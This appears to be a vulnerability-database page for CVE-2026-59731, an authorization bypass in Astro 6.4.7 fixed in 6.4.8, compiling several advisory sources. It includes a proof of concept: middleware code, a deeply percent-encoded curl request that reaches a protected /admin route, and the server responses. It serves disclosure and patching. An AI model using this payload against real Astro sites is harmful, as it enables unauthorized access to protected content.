CVE-2026-59731
Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch
Astro is a web framework for content-driven websites. Version 6.4.7 performs authorization decisions on a partially decoded pathname after reaching the iterative URL decoder limit, while later rewrite route matching performs an additional decodeURI() operation and can resolve the request to a protected route. This issue is fixed in version 6.4.8.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.2
Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch
Astro is a web framework for content-driven websites. Version 6.4.7 performs authorization decisions on a partially decoded pathname after reaching the iterative URL decoder limit, while later rewrite route matching performs an additional decodeURI() operation and can resolve the request to a protected route. This issue is fixed in version 6.4.8.
- Record
CVE-2026-59731- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-647
- Updated
- 2026-11-02
EUVDEUVD-2026-42341
8.2
Astro is a web framework for content-driven websites. Version 6.4.7 performs authorization decisions on a partially decoded pathname after reaching the iterative URL decoder limit, while later rewrite route matching performs an additional decodeURI() operation and can resolve the request to a protected route. This issue is fixed in version 6.4.8.
- Record
EUVD-2026-42341- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-vj59-8hwv-xxmv
8.2
Astro: Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch
Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch
Summary
Astro 6.4.7 appears to reintroduce a middleware authorization bypass pattern when a request path is encoded more deeply than the newly introduced iterative URL decoder's maximum decoding depth.
The issue occurs because Astro performs authorization decisions on a partially decoded pathname after reaching a decoding iteration cap, while later route matching logic performs an additional decodeURI() operation and resolves the request to a protected route.
As a result, middleware and route matching may operate on different pathname representations, enabling authorization bypasses under specific application patterns.
Potential CWE: CWE-647 – Use of Non-Canonical URL Paths for Authorization Decisions
Vulnerable Pattern
Middleware authorization sees:
/%61dmin
Later rewrite route matching sees:
/admin
This discrepancy allows a request that bypasses middleware checks to subsequently resolve to a protected route.
Root Cause
Iterative Decoding Logic
PR #16967 introduced iterative URI decoding:
let iterations = 0;
while (decoded !== pathname && iterations < 10) {
pathname = decoded;
try {
decoded = decodeURI(pathname);
} catch {
// decodeURI can fail when a decoded literal '%' forms an
// invalid sequence with adjacent characters.
break;
}
iterations++;
}
return decoded;
The intent was to ensure middleware receives a fully decoded canonical pathname.
However, once the iteration cap is reached, Astro returns the partially decoded value instead of rejecting the request.
Rewrite Route Matching
Later, Astro performs another decode during route matching:
const decodedPathname = decodeURI(pathname);
Consequently:
Middleware pathname: /%61dmin
Route matcher: /admin
This creates a canonicalization mismatch between authorization logic and routing logic.
Proof of Concept
Middleware
import { defineMiddleware } from 'astro:middleware';
export const onRequest = defineMiddleware(async (context, next) => {
const pathname = context.url.pathname;
if (pathname === '/admin' || pathname.startsWith('/admin/')) {
return new Response(
'403 Forbidden: middleware blocked canonical /admin',
{
status: 403,
headers: {
'content-type': 'text/plain;charset=UTF-8',
'x-middleware-pathname': pathname,
},
}
);
}
if (pathname !== '/') {
const response = await next(context.url);
response.headers.set('x-middleware-pathname', pathname);
response.headers.set(
'x-vuln-pattern',
'next(context.url) rewrite after pathname check'
);
return response;
}
return next();
});
The critical pattern is:
return next(context.url);
The middleware makes an authorization decision using a non-canonical path and then forwards the URL into Astro's rewrite machinery.
Reproduction
Protected Route
curl -i http://127.0.0.1:8989/admin
Response:
HTTP/1.1 403 Forbidden
x-middleware-pathname: /admin
403 Forbidden: middleware blocked canonical /admin
Bypass Request
curl -i http://127.0.0.1:8989/%252525252525252525252561dmin
Response:
HTTP/1.1 200 OK
x-middleware-pathname: /%61dmin
x-vuln-pattern: next(context.url) rewrite after pathname check
Admin page reached
Protected content rendered after rewrite route matching.
request url: http://127.0.0.1:8989/%61dmin
This demonstrates:
Middleware saw: /%61dmin
Router reached: /admin
Encoding Depth Analysis
The bypass occurs at encoding depth 11.
Decoder Trace
depth 0: /%61dmin -> /admin
depth 1: /%2561dmin -> /admin
depth 2: /%252561dmin -> /admin
depth 3: /%25252561dmin -> /admin
depth 4: …
- Record
GHSA-vj59-8hwv-xxmv- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-647
- Updated
- 2026-11-02
NVD
8.2
Astro is a web framework for content-driven websites. Version 6.4.7 performs authorization decisions on a partially decoded pathname after reaching the iterative URL decoder limit, while later rewrite route matching performs an additional decodeURI() operation and can resolve the request to a protected route. This issue is fixed in version 6.4.8.
- Record
CVE-2026-59731- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-647
- Updated
- 2026-11-02
OSV
8.2
Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch
Astro is a web framework for content-driven websites. Version 6.4.7 performs authorization decisions on a partially decoded pathname after reaching the iterative URL decoder limit, while later rewrite route matching performs an additional decodeURI() operation and can resolve the request to a protected route. This issue is fixed in version 6.4.8.
- Record
CVE-2026-59731- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-647
- Updated
- 2026-11-02
OSVGHSA-vj59-8hwv-xxmv
8.2
Astro: Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch
Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch
Summary
Astro 6.4.7 appears to reintroduce a middleware authorization bypass pattern when a request path is encoded more deeply than the newly introduced iterative URL decoder's maximum decoding depth.
The issue occurs because Astro performs authorization decisions on a partially decoded pathname after reaching a decoding iteration cap, while later route matching logic performs an additional decodeURI() operation and resolves the request to a protected route.
As a result, middleware and route matching may operate on different pathname representations, enabling authorization bypasses under specific application patterns.
Potential CWE: CWE-647 – Use of Non-Canonical URL Paths for Authorization Decisions
Vulnerable Pattern
Middleware authorization sees:
/%61dmin
Later rewrite route matching sees:
/admin
This discrepancy allows a request that bypasses middleware checks to subsequently resolve to a protected route.
Root Cause
Iterative Decoding Logic
PR #16967 introduced iterative URI decoding:
let iterations = 0;
while (decoded !== pathname && iterations < 10) {
pathname = decoded;
try {
decoded = decodeURI(pathname);
} catch {
// decodeURI can fail when a decoded literal '%' forms an
// invalid sequence with adjacent characters.
break;
}
iterations++;
}
return decoded;
The intent was to ensure middleware receives a fully decoded canonical pathname.
However, once the iteration cap is reached, Astro returns the partially decoded value instead of rejecting the request.
Rewrite Route Matching
Later, Astro performs another decode during route matching:
const decodedPathname = decodeURI(pathname);
Consequently:
Middleware pathname: /%61dmin
Route matcher: /admin
This creates a canonicalization mismatch between authorization logic and routing logic.
Proof of Concept
Middleware
import { defineMiddleware } from 'astro:middleware';
export const onRequest = defineMiddleware(async (context, next) => {
const pathname = context.url.pathname;
if (pathname === '/admin' || pathname.startsWith('/admin/')) {
return new Response(
'403 Forbidden: middleware blocked canonical /admin',
{
status: 403,
headers: {
'content-type': 'text/plain;charset=UTF-8',
'x-middleware-pathname': pathname,
},
}
);
}
if (pathname !== '/') {
const response = await next(context.url);
response.headers.set('x-middleware-pathname', pathname);
response.headers.set(
'x-vuln-pattern',
'next(context.url) rewrite after pathname check'
);
return response;
}
return next();
});
The critical pattern is:
return next(context.url);
The middleware makes an authorization decision using a non-canonical path and then forwards the URL into Astro's rewrite machinery.
Reproduction
Protected Route
curl -i http://127.0.0.1:8989/admin
Response:
HTTP/1.1 403 Forbidden
x-middleware-pathname: /admin
403 Forbidden: middleware blocked canonical /admin
Bypass Request
curl -i http://127.0.0.1:8989/%252525252525252525252561dmin
Response:
HTTP/1.1 200 OK
x-middleware-pathname: /%61dmin
x-vuln-pattern: next(context.url) rewrite after pathname check
Admin page reached
Protected content rendered after rewrite route matching.
request url: http://127.0.0.1:8989/%61dmin
This demonstrates:
Middleware saw: /%61dmin
Router reached: /admin
Encoding Depth Analysis
The bypass occurs at encoding depth 11.
Decoder Trace
depth 0: /%61dmin -> /admin
depth 1: /%2561dmin -> /admin
depth 2: /%252561dmin -> /admin
depth 3: /%25252561dmin -> /admin
depth 4: …
- Record
GHSA-vj59-8hwv-xxmv- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-647
- Updated
- 2026-11-02
OSVCLSA-2026-1793717673 No score
TuxCare security update for astro (2 CVEs)
TuxCare rebuilt astro to address 2 CVEs. Fixed in 5.18.2-tuxcare.3.
- Record
CLSA-2026-1793717673- Updated
- 2026-11-03
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| affected, aliases, facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-59731 is a high vulnerability (CVSS 8.2) in Withastro Astro, published July 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.33%, the 26th percentile. Fixed in astro 6.4.8.
References
github.com/withastro/astro/security/advisories/GHSA-vj59-8hwv-xxmv
github.com/withastro/astro/pull/17109
github.com/withastro/astro/commit/27c80ea92248993e5fce94b2c26d87d611ab6785
github.com/withastro/astro/releases/tag/[email protected]
nvd.nist.gov/vuln/detail/CVE-2026-59731
github.com/advisories/GHSA-vj59-8hwv-xxmv
github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59731.json
github.com/withastro/astro
Left out here: the rest of 2 source descriptions. The JSON record has them.